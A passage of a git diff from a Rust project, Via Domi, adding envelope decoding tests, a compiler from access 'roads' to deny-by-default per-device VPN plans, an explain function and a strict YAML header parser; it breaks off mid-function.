+fn router() -> Plan { + plans().into_iter().find(|p| p.name == "router").unwrap() +} + +#[test] +fn every_plan_round_trips_and_encodes_the_same_twice() { + let all = plans(); + assert_eq!(all.len(), 7); + for plan in all { + let env = Envelope::plan(plan.clone()); + let a = env.encode(); + assert_eq!( + a, + Envelope::plan(plan.clone()).encode(), + "{}: two encodings differ", + plan.name + ); + let back = Envelope::decode(&a).unwrap(); + assert_eq!(back, env); + assert_eq!( + back.encode(), + a, + "{}: decode → encode changed bytes", + plan.name + ); + } +} + +#[test] +fn the_custom_block_and_the_classic_flag_survive_cbor() { + let plan = router(); + assert!(plan.classic); + assert_eq!(plan.custom.len(), 1); + let raw = plan.custom[0].raw.clone(); + assert!(raw.contains("MTU = 1380 \n"), "trailing spaces kept"); + let Body::Plan { plan: back, .. } = Envelope::decode(&Envelope::plan(plan.clone()).encode()) + .unwrap() + .body + else { + panic!() + }; + assert_eq!(back.custom[0].raw, raw); + assert!(back.classic && back.custom[0].classic); + let server = plans() + .into_iter() + .find(|p| p.name == "home-server") + .unwrap(); + let Body::Plan { plan: back, .. } = Envelope::decode(&Envelope::plan(server).encode()) + .unwrap() + .body + else { + panic!() + }; + assert!( + back.peers + .iter() + .find(|p| p.name == "router") + .unwrap() + .classic, + "the router peer lost its classic mark" + ); +} + +#[test] +fn the_plan_digest_is_pinned() { + // A change in the CBOR library or the plan's field order shows here first. Update only on purpose, with a + // protocol version change if it alters what is on the wire. + let plan = plans() + .into_iter() + .find(|p| p.name == "jana-phone") + .unwrap(); + let d = Digest::of(&plan_cbor(&plan)).to_hex(); + assert_eq!( + d, + include_str!("jana-phone.digest").trim(), + "jana-phone's plan encodes differently" + ); +} + +fn cbor(v: &ciborium::Value) -> Vec { + let mut out = Vec::new(); + ciborium::into_writer(v, &mut out).unwrap(); + out +} + +fn value_of(env: &Envelope) -> ciborium::Value { + ciborium::de::from_reader(&env.encode()[..]).unwrap() +} + +fn set(v: &mut ciborium::Value, key: &str, to: ciborium::Value) { + let ciborium::Value::Map(m) = v else { panic!() }; + match m.iter_mut().find(|(k, _)| k.as_text() == Some(key)) { + Some(e) => e.1 = to, + None => m.push((ciborium::Value::Text(key.into()), to)), + } +} + +#[test] +fn decoding_refuses_what_version_1_does_not_say() { + let ack = Envelope::new(Body::PlanAck { + device: DeviceKey::from_bytes(&[3; 32]), + digest: Digest::of(b"x"), + }); + assert_eq!(Envelope::decode(&ack.encode()).unwrap(), ack); + + // Another version is refused before the body is read, even when the body is nonsense. + let mut v = value_of(&ack); + set(&mut v, "v", ciborium::Value::Integer(2.into())); + set(&mut v, "body", ciborium::Value::Text("anything".into())); + assert_eq!( + Envelope::decode(&cbor(&v)), + Err(Error::UnsupportedVersion(2)) + ); + + // No version, or not a map at all. + let ciborium::Value::Map(m) = value_of(&ack) else { + panic!() + }; + let no_v = ciborium::Value::Map( + m.into_iter() + .filter(|(k, _)| k.as_text() != Some("v")) + .collect(), + ); + assert_eq!(Envelope::decode(&cbor(&no_v)), Err(Error::NoVersion)); + assert_eq!( + Envelope::decode(&cbor(&ciborium::Value::Integer(1.into()))), + Err(Error::NoVersion) + ); + + // An unknown field at the top and deep inside a plan. + let mut v = value_of(&ack); + set(&mut v, "signature", ciborium::Value::Bytes(vec![0; 64])); + assert!(matches!( + Envelope::decode(&cbor(&v)), + Err(Error::Invalid(_)) + )); + let mut v = value_of(&Envelope::plan(router())); + if let ciborium::Value::Map(m) = &mut v { + let body = &mut m + .iter_mut() + .find(|(k, _)| k.as_text() == Some("body")) + .unwrap() + .1; + let ciborium::Value::Map(b) = body else { + panic!() + }; + let ciborium::Value::Map(inner) = &mut b[0].1 else { + panic!() + }; + let plan = &mut inner + .iter_mut() + .find(|(k, _)| k.as_text() == Some("plan")) + .unwrap() + .1; + set(plan, "allowed_everything", ciborium::Value::Bool(true)); + } + assert!(matches!( + Envelope::decode(&cbor(&v)), + Err(Error::Invalid(_)) + )); + + // A malformed key, trailing bytes, garbage, oversize, deep nesting. + let mut v = value_of(&ack); + if let ciborium::Value::Map(m) = &mut v { + let body = &mut m + .iter_mut() + .find(|(k, _)| k.as_text() == Some("body")) + .unwrap() + .1; + let ciborium::Value::Map(b) = body else { + panic!() + }; + set( + &mut b[0].1, + "device", + ciborium::Value::Text("AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQF".into()), + ); + } + assert!(matches!( + Envelope::decode(&cbor(&v)), + Err(Error::Invalid(_)) + )); + let mut bytes = ack.encode(); + bytes.push(0); + assert_eq!(Envelope::decode(&bytes), Err(Error::TrailingBytes(1))); + assert!(matches!( + Envelope::decode(&[0xff, 0x00, 0x13]), + Err(Error::Malformed(_)) + )); + assert!(matches!(Envelope::decode(&[]), Err(Error::Malformed(_)))); + assert_eq!( + Envelope::decode(&vec![0u8; MAX_MESSAGE + 1]), + Err(Error::TooLarge(MAX_MESSAGE + 1)) + ); + let deep = [vec![0x81u8; 10_000], vec![0x01]].concat(); + assert!( + matches!(Envelope::decode(&deep), Err(Error::Malformed(_))), + "deep nesting must be refused, not overflow" + ); +} + +#[test] +fn a_plan_whose_digest_does_not_match_is_refused() { + let plan = router(); + let wrong = Envelope::new(Body::Plan { + digest: Digest::of(b"another plan"), + plan, + }); + assert_eq!( + Envelope::decode(&wrong.encode()), + Err(Error::DigestMismatch) + ); +} + +#[test] +fn refusals_and_requests_round_trip() { + for body in [ + Body::PlanRequest { + device: DeviceKey::from_bytes(&[1; 32]), + have: None, + }, + Body::PlanRequest { + device: DeviceKey::from_bytes(&[1; 32]), + have: Some(Digest::of(b"old")), + }, + Body::Refused { + code: RefusalCode::UnknownDevice, + message: "no such device".into(), + }, + ] { + let env = Envelope::new(body); + assert_eq!(Envelope::decode(&env.encode()).unwrap(), env); + } +} diff --git a/crates/roads/Cargo.toml b/crates/roads/Cargo.toml new file mode 100644 index 0000000..bc7adf9 --- /dev/null +++ b/crates/roads/Cargo.toml @@ -0,0 +1,23 @@ +[package] +name = "roads" +description = "Via Domi: the road model, its validator and the compiler from roads to per-device plans" +version.workspace = true +edition.workspace = true +rust-version.workspace = true +license.workspace = true +repository.workspace = true +publish.workspace = true + +[dependencies] +serde.workspace = true +serde_json.workspace = true +jiff.workspace = true +ipnet.workspace = true +base64.workspace = true + +[dev-dependencies] +proptest.workspace = true +tempfile.workspace = true + +[lints] +workspace = true diff --git a/crates/roads/src/compile.rs b/crates/roads/src/compile.rs new file mode 100644 index 0000000..de49220 --- /dev/null +++ b/crates/roads/src/compile.rs @@ -0,0 +1,758 @@ +//! The compiler: roads + people directory + device list + `now` → one [`Plan`] per device. +//! +//! Deny by default. A road with any error grants nothing; a valid road that is expired, or whose subject has no +//! devices, grants nothing and is reported as inactive. Without both snapshots no plan is produced at all. +//! Every collection on the output path is ordered, so the same input gives the same bytes. + +use crate::id::RoadId; +use crate::ids::{AppId, DeviceKey, Hostname}; +use crate::net::Net; +use crate::plan::{self, Action, Direction, Dst, Firewall, Plan}; +use crate::ports::{self, PortSpec, Proto}; +use crate::problem::Problem; +use crate::road::{Body, Place, Road, Subject, Verb}; +use crate::rules as r; +use crate::snapshot::{Devices, Directory}; +use crate::store::Store; +use jiff::Timestamp as Instant; +use std::collections::{BTreeMap, BTreeSet}; + +/// One thing a road lets one device do, before it is folded into plans. +#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord)] +pub enum Grant { + /// `from` may send to `dst`, which `host` owns (its address) or routes (a subnet, `forward`). + Reach { + road: RoadId, + from: DeviceKey, + host: DeviceKey, + dst: Net, + forward: bool, + /// `None`: all traffic. + ports: Option>, + dns: Option, + via: Option, + }, + /// `from` sends its internet traffic through `exit`. + Exit { + road: RoadId, + from: DeviceKey, + exit: DeviceKey, + }, +} + +impl Grant { + pub fn road(&self) -> &RoadId { + match self { + Grant::Reach { road, .. } | Grant::Exit { road, .. } => road, + } + } + + pub fn from(&self) -> &DeviceKey { + match self { + Grant::Reach { from, .. } | Grant::Exit { from, .. } => from, + } + } +} + +/// The compiler's output. +#[derive(Debug, Clone, Default)] +pub struct Compiled { + /// One plan per device in `devices.json`; empty when a snapshot has an error. + pub plans: BTreeMap, + /// The store's problems and the compiler's, sorted. + pub problems: Vec, + /// What the active roads grant, in road order. + pub grants: Vec, +} + +impl Compiled { + pub fn errors(&self) -> impl Iterator { + self.problems.iter().filter(|p| p.is_error()) + } + + /// Whether the snapshots were good enough to produce plans. + pub fn has_plans(&self) -> bool { + !self.plans.is_empty() + } +} + +type DirectKey = (Option, Net); +type RuleKey = (Direction, Net, Dst, Proto, Option<[u16; 2]>); + +#[derive(Default)] +struct Extras { + direct: BTreeMap>, + kill: BTreeMap>, + custom: Vec, +} + +/// The devices a subject covers: a person's are the devices they own; a group's, its members'; an app's, every +/// device. +pub fn subject_devices(subject: &Subject, dir: &Directory, devs: &Devices) -> BTreeSet { + devs.devices + .values() + .filter(|d| match subject { + Subject::Person(p) => d.owner.as_ref() == Some(p), + Subject::Group(g) => dir + .groups + .get(g) + .is_some_and(|g| d.owner.as_ref().is_some_and(|o| g.members.contains(o))), + Subject::Device(k) => &d.key == k, + Subject::App(_) => true, + }) + .map(|d| d.key.clone()) + .collect() +} + +/// Devices by owner, built once per compile so resolving a subject does not scan every device. +struct Index { + by_owner: BTreeMap>, +} + +impl Index { + fn new(devs: &Devices) -> Index { + let mut by_owner: BTreeMap<_, BTreeSet> = BTreeMap::new(); + for d in devs.devices.values() { + if let Some(o) = &d.owner { + by_owner.entry(o.clone()).or_default().insert(d.key.clone()); + } + } + Index { by_owner } + } + + /// The same answer as [`subject_devices`], from the index. + fn devices_of( + &self, + subject: &Subject, + dir: &Directory, + devs: &Devices, + ) -> BTreeSet { + match subject { + Subject::Person(p) => self.by_owner.get(p).cloned().unwrap_or_default(), + Subject::Group(g) => dir + .groups + .get(g) + .map(|g| { + g.members + .iter() + .filter_map(|m| self.by_owner.get(m)) + .flatten() + .cloned() + .collect() + }) + .unwrap_or_default(), + Subject::Device(k) => devs + .devices + .contains_key(k) + .then(|| k.clone()) + .into_iter() + .collect(), + Subject::App(_) => devs.devices.keys().cloned().collect(), + } + } +} + +/// Checks a road against the snapshots. Every problem is an error: the road grants nothing. +fn check( + road: &Road, + dir: &Directory, + devs: &Devices, + subject: &BTreeSet, +) -> Vec { + let mut out = Vec::new(); + let p = |field: &str, code, msg: String| { + Problem::error(&road.path, Some(field), code, msg).at(road.line_of(field)) + }; + match &road.subject { + Subject::Person(id) if !dir.people.contains_key(id) => out.push(p( + "subject", + r::SUBJECT_UNKNOWN, + format!("person `{id}` is not in directory.json"), + )), + Subject::Group(id) if !dir.groups.contains_key(id) => out.push(p( + "subject", + r::SUBJECT_UNKNOWN, + format!("group `{id}` is not in directory.json"), + )), + Subject::Device(k) if !devs.devices.contains_key(k) => out.push(p( + "subject", + r::SUBJECT_UNKNOWN, + format!("device {} is not in devices.json", k.short()), + )), + _ => {} + } + let mut classic_peers: Vec<&str> = Vec::new(); + for k in subject { + if let Some(d) = devs.devices.get(k).filter(|d| d.classic) { + classic_peers.push(&d.name); + } + } + match &road.object { + Some(Place::Device(k)) => match devs.devices.get(k) { + None => out.push(p( + "object", + r::OBJECT_UNKNOWN, + format!("device {} is not in devices.json", k.short()), + )), + Some(d) if d.classic => classic_peers.push(&d.name), + Some(_) => {} + }, + Some(Place::Exit(k)) => match devs.devices.get(k) { + None => out.push(p( + "object", + r::OBJECT_UNKNOWN, + format!("device {} is not in devices.json", k.short()), + )), + Some(d) => { + if !d.exit { + out.push(p( + "object", + r::OBJECT_NOT_EXIT, + format!("{} does not offer itself as an exit", d.name), + )); + } + if d.classic { + classic_peers.push(&d.name); + } + } + }, + Some(Place::Service(h)) => match devs.service(h) { + None => out.push(p( + "object", + r::OBJECT_UNKNOWN, + format!("no device in devices.json serves {h}"), + )), + Some((d, s)) => { + if d.classic { + classic_peers.push(&d.name); + } + if let Some(ports) = &road.ports + && !ports::is_subset(ports, &s.ports) + { + let served: Vec = s.ports.iter().map(|p| p.to_string()).collect(); + out.push(p( + "ports", + r::PORTS_NOT_SERVED, + format!("{h} serves only {}", served.join(", ")), + )); + } + } + }, + Some(Place::Subnet(n)) if road.verb == Verb::CanReach => match devs.router_of(n) { + None => out.push(p( + "object", + r::SUBNET_UNROUTED, + format!("no device in devices.json routes {n}"), + )), + Some(d) if d.classic => classic_peers.push(&d.name), + Some(_) => {} + }, + Some(Place::Subnet(_)) => {} + None => {} + } + if let Some(v) = &road.via { + match devs.devices.get(v) { + None => out.push(p( + "via", + r::VIA_UNKNOWN, + format!("device {} is not in devices.json", v.short()), + )), + Some(d) if !d.relay && !d.exit => out.push(p( + "via", + r::VIA_NOT_RELAY, + format!("{} is neither a relay nor an exit", d.name), + )), + Some(_) => {} + } + } + let makes_peers = matches!(road.verb, Verb::CanReach | Verb::ExitsThrough); + if makes_peers && !classic_peers.is_empty() && !road.is_classic() { + classic_peers.sort(); + classic_peers.dedup(); + out.push(p( + "classic", + r::CLASSIC_UNACKNOWLEDGED, + format!( + "{} {} a classic WireGuard peer (not post-quantum): set `classic: true` to allow it", + classic_peers.join(", "), + if classic_peers.len() == 1 { "is" } else { "are" } + ), + )); + } + out +} + +/// Compiles the store at `now`. +pub fn compile(store: &Store, now: Instant) -> Compiled { + let mut out = Compiled { + problems: store.problems.clone(), + ..Compiled::default() + }; + let (Some(dir), Some(devs)) = (&store.directory, &store.devices) else { + out.problems.sort(); + return out; + }; + let name = |k: &DeviceKey| { + devs.devices + .get(k) + .map_or_else(|| k.short().to_string(), |d| d.name.clone()) + }; + + let mut extras: BTreeMap = BTreeMap::new(); + let mut expiry: BTreeMap = BTreeMap::new(); + let mut touch = |k: &DeviceKey, road: &Road| { + if let Some(u) = &road.until { + let at = u.at(); + expiry + .entry(k.clone()) + .and_modify(|e| *e = (*e).min(at)) + .or_insert(at); + } + }; + + let index = Index::new(devs); + let mut roads: Vec<&Road> = store.roads.iter().collect(); + roads.sort_by(|a, b| a.id.cmp(&b.id)); + for road in roads { + let subject = index.devices_of(&road.subject, dir, devs); + let problems = check(road, dir, devs, &subject); + if !problems.is_empty() { + out.problems.extend(problems); + continue; + } + let inactive = |field: Option<&str>, code, msg: String| { + Problem::inactive(&road.path, field, code, msg).at(field.map_or(0, |f| road.line_of(f))) + }; + if let Some(u) = &road.until + && u.at() <= now + { + out.problems.push(inactive( + Some("until"), + r::ROAD_EXPIRED, + format!("expired at {}", u.as_str()), + )); + continue; + } + if subject.is_empty() { + out.problems.push(inactive( + Some("subject"), + r::ROAD_NO_DEVICES, + format!("{} has no devices in devices.json", road.subject), + )); + continue; + } + let mut effects = 0usize; + match (road.verb, &road.object) { + (Verb::CanReach, Some(object)) => { + let (host, dst, forward, ports, dns) = match object { + Place::Device(k) => ( + k.clone(), + Net::host(devs.devices[k].address.0), + false, + road.ports.clone(), + None, + ), + Place::Service(h) => { + let (d, s) = devs.service(h).expect("checked"); + let ports = road.ports.clone().unwrap_or_else(|| s.ports.clone()); + ( + d.key.clone(), + Net::host(d.address.0), + false, + Some(ports), + Some(h.clone()), + ) + } + Place::Subnet(n) => ( + devs.router_of(n).expect("checked").key.clone(), + *n, + true, + road.ports.clone(), + None, + ), + Place::Exit(_) => unreachable!("the parser refuses exit objects for can-reach"), + }; + for from in subject.iter().filter(|d| **d != host) { + touch(from, road); + effects += 1; + touch(&host, road); + out.grants.push(Grant::Reach { + road: road.id.clone(), + from: from.clone(), + host: host.clone(), + dst, + forward, + ports: ports.clone(), + dns: dns.clone(), + via: road.via.clone(), + }); + } + } + (Verb::ExitsThrough, Some(Place::Exit(exit))) => { + for from in subject.iter().filter(|d| *d != exit) { + touch(from, road); + effects += 1; + touch(exit, road); + out.grants.push(Grant::Exit { + road: road.id.clone(), + from: from.clone(), + exit: exit.clone(), + }); + } + } + (Verb::GoesDirect, Some(Place::Subnet(n))) => { + let app = match &road.subject { + Subject::App(a) => Some(a.clone()), + _ => None, + }; + for d in &subject { + touch(d, road); + effects += 1; + extras + .entry(d.clone()) + .or_default() + .direct + .entry((app.clone(), *n)) + .or_default() + .insert(road.id.clone()); + } + } + (Verb::NeverOnlineWithout, Some(Place::Exit(exit))) => { + for d in subject.iter().filter(|d| *d != exit) { + touch(d, road); + effects += 1; + extras + .entry(d.clone()) + .or_default() + .kill + .entry(exit.clone()) + .or_default() + .insert(road.id.clone()); + } + } + (Verb::Custom, None) => { + let Body::Raw(raw) = &road.body else { + unreachable!("the parser requires a raw block") + }; + for d in &subject { + touch(d, road); + effects += 1; + extras + .entry(d.clone()) + .or_default() + .custom + .push(plan::Custom { + road: road.id.clone(), + classic: road.is_classic(), + raw: raw.clone(), + }); + } + } + _ => unreachable!("the parser checks the verb's object kinds"), + } + if effects == 0 { + out.problems.push(inactive( + Some("object"), + r::ROAD_SELF, + "every device of the subject is the object's own device: it grants nothing".into(), + )); + } + } + + // A device with active exit roads to two different exits gets neither. + let mut exits: BTreeMap>> = BTreeMap::new(); + for g in &out.grants { + if let Grant::Exit { road, from, exit } = g { + exits + .entry(from.clone()) + .or_default() + .entry(exit.clone()) + .or_default() + .insert(road.clone()); + } + } + let mut conflicted: BTreeSet = BTreeSet::new(); + for (from, by_exit) in &exits { + if by_exit.len() < 2 { + continue; + } + conflicted.insert(from.clone()); + let all: BTreeSet<&RoadId> = by_exit.values().flatten().collect(); + for id in &all { + let road = store + .roads + .iter() + .find(|r| &r.id == *id) + .expect("a granting road"); + let others: Vec = all + .iter() + .filter(|o| o != &id) + .map(|o| o.to_string()) + .collect(); + out.problems.push( + Problem::inactive( + &road.path, + Some("object"), + r::EXIT_CONFLICT, + format!( + "for {}: conflicts with road {} (two different exits); that device exits through neither", + name(from), + others.join(", ") + ), + ) + .at(road.line_of("object")), + ); + } + } + out.grants + .retain(|g| !matches!(g, Grant::Exit { from, .. } if conflicted.contains(from))); + + // The kill switch wins over going direct to the internet: a device with a kill switch never sends internet + // traffic outside the tunnel, whatever a goes-direct road says (QA R-47). Going direct to a private subnet + // (the local network) stays allowed. + for (key, ex) in extras.iter_mut() { + if ex.kill.is_empty() { + continue; + } + let kill_roads: Vec = ex.kill.values().flatten().map(|r| r.to_string()).collect(); + let dropped: Vec<(DirectKey, BTreeSet)> = ex + .direct + .iter() + .filter(|((_, n), _)| n.reaches_internet()) + .map(|(k, v)| (k.clone(), v.clone())) + .collect(); + for ((app, subnet), roads) in dropped { + ex.direct.remove(&(app, subnet)); + for id in roads { + let road = store + .roads + .iter() + .find(|r| r.id == id) + .expect("a granting road"); + out.problems.push( + Problem::inactive( + &road.path, + Some("object"), + r::DIRECT_KILL_SWITCH, + format!( + "for {}: the kill switch (road {}) wins; {subnet} does not go direct", + name(key), + kill_roads.join(", ") + ), + ) + .at(road.line_of("object")), + ); + } + } + } + + // Each device's plan reads only the grants that name it. + let mut by_device: BTreeMap<&DeviceKey, Vec<&Grant>> = BTreeMap::new(); + for g in &out.grants { + let other = match g { + Grant::Reach { host, .. } => host, + Grant::Exit { exit, .. } => exit, + }; + by_device.entry(g.from()).or_default().push(g); + by_device.entry(other).or_default().push(g); + } + for (key, dev) in &devs.devices { + let mine = by_device.remove(key).unwrap_or_default(); + out.plans.insert( + key.clone(), + build_plan(key, dev, devs, &mine, extras.remove(key), expiry.get(key)), + ); + } + out.problems.sort(); + out +} + +#[derive(Default)] +struct PeerAcc { + allowed: BTreeSet, + roads: BTreeSet, + vias: BTreeSet>, +} + +fn build_plan( + me: &DeviceKey, + dev: &crate::snapshot::Device, + devs: &Devices, + grants: &[&Grant], + extras: Option, + expiry: Option<&Instant>, +) -> Plan { + let mut peers: BTreeMap = BTreeMap::new(); + let mut rules: BTreeMap> = BTreeMap::new(); + let mut dns: BTreeMap)> = BTreeMap::new(); + let mut exit: BTreeMap> = BTreeMap::new(); + let addr = |k: &DeviceKey| devs.devices[k].address; + + for g in grants { + match g { + Grant::Reach { + road, + from, + host, + dst, + forward, + ports, + dns: host_name, + via, + } => { + if from == me { + let p = peers.entry(host.clone()).or_default(); + p.allowed.insert(*dst); + p.roads.insert(road.clone()); + p.vias.insert(via.clone()); + if let Some(h) = host_name { + dns.entry(h.clone()) + .or_insert_with(|| (addr(host), BTreeSet::new())) + .1 + .insert(road.clone()); + } + } + if host == me { + let src = Net::host(addr(from).0); + let p = peers.entry(from.clone()).or_default(); + p.allowed.insert(src); + p.roads.insert(road.clone()); + p.vias.insert(via.clone()); + let direction = if *forward { + Direction::Forward + } else { + Direction::In + }; + match ports { + None => { + rules + .entry((direction, src, Dst::Net(*dst), Proto::Any, None)) + .or_default() + .insert(road.clone()); + } + Some(list) => { + for spec in list { + let range = spec.range.map(|(lo, hi)| [lo, hi]); + rules + .entry((direction, src, Dst::Net(*dst), spec.proto, range)) + .or_default() + .insert(road.clone()); + } + } + } + } + } + Grant::Exit { + road, + from, + exit: through, + } => { + if from == me { + let p = peers.entry(through.clone()).or_default(); + p.allowed.insert(Net::v4_default()); + p.allowed.insert(Net::v6_default()); + p.roads.insert(road.clone()); + p.vias.insert(None); + exit.entry(through.clone()) + .or_default() + .insert(road.clone()); + } + if through == me { + let src = Net::host(addr(from).0); + let p = peers.entry(from.clone()).or_default(); + p.allowed.insert(src); + p.roads.insert(road.clone()); + p.vias.insert(None); + rules + .entry((Direction::Forward, src, Dst::Internet, Proto::Any, None)) + .or_default() + .insert(road.clone()); + } + } + } + } + + let extras = extras.unwrap_or_default(); + let kill_switch = (!extras.kill.is_empty()).then(|| plan::KillSwitch { + through: if extras.kill.len() == 1 { + extras.kill.keys().next().cloned() + } else { + None + }, + roads: extras + .kill + .values() + .flatten() + .cloned() + .collect::>() + .into_iter() + .collect(), + }); + let mut custom = extras.custom; + custom.sort_by(|a, b| a.road.cmp(&b.road)); + + Plan { + format: plan::FORMAT, + device: me.clone(), + name: dev.name.clone(), + address: dev.address, + classic: dev.classic, + expires: expiry.map(|e| e.to_string()), + peers: peers + .into_iter() + .map(|(k, acc)| { + let d = &devs.devices[&k]; + plan::Peer { + name: d.name.clone(), + address: d.address, + classic: d.classic, + allowed_ips: acc.allowed.into_iter().collect(), + via: if acc.vias.len() == 1 { + acc.vias.into_iter().next().flatten() + } else { + None + }, + roads: acc.roads.into_iter().collect(), + key: k, + } + }) + .collect(), + firewall: Firewall { + default: Action::Deny, + rules: rules + .into_iter() + .map(|((direction, src, dst, proto, ports), roads)| plan::Rule { + direction, + src, + dst, + proto, + ports, + roads: roads.into_iter().collect(), + }) + .collect(), + }, + dns: dns + .into_iter() + .map(|(host, (address, roads))| plan::Dns { + host, + address, + roads: roads.into_iter().collect(), + }) + .collect(), + exit: exit.into_iter().next().map(|(through, roads)| plan::Exit { + through, + roads: roads.into_iter().collect(), + }), + kill_switch, + direct: extras + .direct + .into_iter() + .map(|((app, subnet), roads)| plan::Direct { + app, + subnet, + roads: roads.into_iter().collect(), + }) + .collect(), + custom, + } +} diff --git a/crates/roads/src/explain.rs b/crates/roads/src/explain.rs new file mode 100644 index 0000000..a64ae99 --- /dev/null +++ b/crates/roads/src/explain.rs @@ -0,0 +1,78 @@ +//! `explain`: which roads let this device reach that place. Read from the compiler's own grants, so the +//! answer and the plans cannot drift apart. + +use crate::compile::{Compiled, Grant}; +use crate::id::RoadId; +use crate::ids::DeviceKey; +use crate::net::Net; +use crate::ports::{self, PortSpec}; +use crate::road::Place; +use crate::snapshot::Devices; +use std::collections::BTreeSet; + +/// The roads that let `device` reach (some of) `place`, sorted; empty when access is denied. +/// +/// A road counts when one of its grants from `device` overlaps the place: the same network or a part of it, +/// and at least one shared port. An exit road counts for `exit:`, and for a subnet that reaches +/// the internet unless that subnet goes direct on this device. +pub fn explain( + compiled: &Compiled, + devs: &Devices, + device: &DeviceKey, + place: &Place, +) -> Vec { + let (dst, want_ports): (Option, Option>) = match place { + Place::Device(k) => (devs.devices.get(k).map(|d| Net::host(d.address.0)), None), + Place::Service(h) => match devs.service(h) { + Some((d, s)) => (Some(Net::host(d.address.0)), Some(s.ports.clone())), + None => (None, None), + }, + Place::Subnet(n) => (Some(*n), None), + Place::Exit(_) => (None, None), + }; + let direct: Vec = compiled + .plans + .get(device) + .map(|p| { + p.direct + .iter() + .filter(|d| d.app.is_none()) + .map(|d| d.subnet) + .collect() + }) + .unwrap_or_default(); + let mut out = BTreeSet::new(); + for g in &compiled.grants { + if g.from() != device { + continue; + } + match g { + Grant::Reach { + road, + dst: gdst, + ports: gports, + .. + } => { + if let Some(dst) = &dst + && gdst.overlaps(dst) + && ports::overlaps(gports.as_deref(), want_ports.as_deref()) + { + out.insert(road.clone()); + } + } + Grant::Exit { road, exit, .. } => { + let counts = match place { + Place::Exit(k) => k == exit, + Place::Subnet(n) => { + n.reaches_internet() && !direct.iter().any(|d| d.contains(n)) + } + _ => false, + }; + if counts { + out.insert(road.clone()); + } + } + } + } + out.into_iter().collect() +} diff --git a/crates/roads/src/header.rs b/crates/roads/src/header.rs new file mode 100644 index 0000000..2ec9e64 --- /dev/null +++ b/crates/roads/src/header.rs @@ -0,0 +1,464 @@ +//! The strict YAML subset of road headers: Pensum's header subset (Fabrica `core/docs/FORMATS.md`, "The header +//! subset"). Every header this accepts is valid YAML; most of YAML is refused, each refusal naming the line and +//! the field. + +use crate::rules; + +/// A field's value. Plain scalars are always strings: `true` is text, the field's reader decides. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum Value { + /// `key:` with nothing after it: the field is not set. + Absent, + Str(String), + List(Vec), +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Field { + pub key: String, + /// 1-based line in the file. + pub line: usize, + pub value: Value, +} + +/// The first problem in a header: line (1-based in the file), field, rule code, message. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct HeaderError { + pub line: usize, + pub field: Option, + pub code: &'static str, + pub message: String, +} + +fn refused(line: usize, field: Option<&str>, message: impl Into) -> HeaderError { + HeaderError { + line, + field: field.map(String::from), + code: rules::YAML_REFUSED, + message: message.into(), + } +} + +fn syntax(line: usize, field: Option<&str>, message: impl Into) -> HeaderError { + HeaderError { + line, + field: field.map(String::from), + code: rules::YAML_SYNTAX, + message: message.into(), + } +} + +/// Parses header lines (without their line endings). `first_line` is the file line of `lines[0]`. +pub fn parse(lines: &[&str], first_line: usize) -> Result, HeaderError> { + let mut fields: Vec = Vec::new(); + let mut i = 0; + while i < lines.len() { + let line = lines[i]; + let no = first_line + i; + if line.starts_with('\t') { + return Err(refused(no, None, "tab indentation is not allowed")); + } + let trimmed = line.trim_start_matches(' '); + if trimmed.is_empty() || trimmed.starts_with('#') { + i += 1; + continue; + } + if line.starts_with(' ') { + return Err(refused( + no, + None, + "unexpected indentation: keys start at column 0", + )); + } + if line.starts_with('%') { + return Err(refused(no, None, "YAML directives are not allowed")); + } + if line == "..." { + return Err(refused( + no, + None, + "the document end marker `...` is not allowed", + )); + } + let Some((key, rest)) = split_key(line) else { + return Err(syntax( + no, + None, + format!("expected `key: value`, found `{}`", crate::ids::clip(line)), + )); + }; + if fields.iter().any(|f| f.key == key) { + return Err(HeaderError { + line: no, + field: Some(key.to_string()), + code: rules::KEY_DUPLICATE, + message: "duplicate key".into(), + }); + } + let rest = rest.trim_start_matches(' '); + let value = if rest.is_empty() || rest.starts_with('#') { + let mut list = Vec::new(); + while i + 1 < lines.len() { + let next = lines[i + 1]; + if next.starts_with('\t') { + return Err(refused(no + 1, Some(key), "tab indentation is not allowed")); + } + let t = next.trim_start_matches(' '); + if t.len() == next.len() || !(t == "-" || t.starts_with("- ")) { + break; + } + let item_line = first_line + i + 1; + let item = t[1..].trim_start_matches(' '); + if item.starts_with('[') || item.starts_with('-') || item.starts_with('{') { + return Err(refused( + item_line, + Some(key), + "nested lists and mappings are not allowed", + )); + } + let (s, after) = scalar(item, false, item_line, key)?; + end_of_value(after, item_line, key)?; + list.push(s); + i += 1; + } + if list.is_empty() { + Value::Absent + } else { + Value::List(list) + } + } else { + inline(rest, no, key)? + }; + fields.push(Field { + key: key.to_string(), + line: no, + value, + }); + i += 1; + } + Ok(fields) +} + +/// `key: rest` with `key` = `[A-Za-z][A-Za-z0-9]*`, the colon followed by a space or the end of the line. +fn split_key(line: &str) -> Option<(&str, &str)> { + let colon = line.find(':')?; + let key = &line[..colon]; + let rest = &line[colon + 1..]; + let mut b = key.bytes(); + let ok = + b.next().is_some_and(|c| c.is_ascii_alphabetic()) && b.all(|c| c.is_ascii_alphanumeric()); + (ok && (rest.is_empty() || rest.starts_with(' '))).then_some((key, rest)) +} + +fn inline(rest: &str, line: usize, key: &str) -> Result { + if let Some(mut s) = rest.strip_prefix('[') { + let mut items = Vec::new(); + loop { + s = s.trim_start_matches(' '); + if let Some(after) = s.strip_prefix(']') { + if !items.is_empty() { + return Err(syntax(line, Some(key), "an empty item in a list")); + } + end_of_value(after, line, key)?; + return Ok(Value::List(items)); + } + if s.starts_with('[') || s.starts_with('{') { + return Err(refused( + line, + Some(key), + "nested lists and mappings are not allowed", + )); + } + let (item, after) = scalar(s, true, line, key)?; + items.push(item); + let after = after.trim_start_matches(' '); + if let Some(a) = after.strip_prefix(',') { + s = a; + } else if let Some(a) = after.strip_prefix(']') { + end_of_value(a, line, key)?; + return Ok(Value::List(items)); + } else { + return Err(syntax( + line, + Some(key), + "a list is `[a, b]`, closed on the same line", + )); + } + } + } + let (s, after) = scalar(rest, false, line, key)?; + end_of_value(after, line, key)?; + Ok(Value::Str(s)) +} + +/// After a value: nothing, or spaces and a ` # comment`. +fn end_of_value(after: &str, line: usize, key: &str) -> Result<(), HeaderError> { + let t = after.trim_start_matches(' '); + if t.is_empty() || (t.starts_with('#') && t.len() < after.len()) { + Ok(()) + } else { + Err(syntax( + line, + Some(key), + format!("unexpected `{}` after the value", 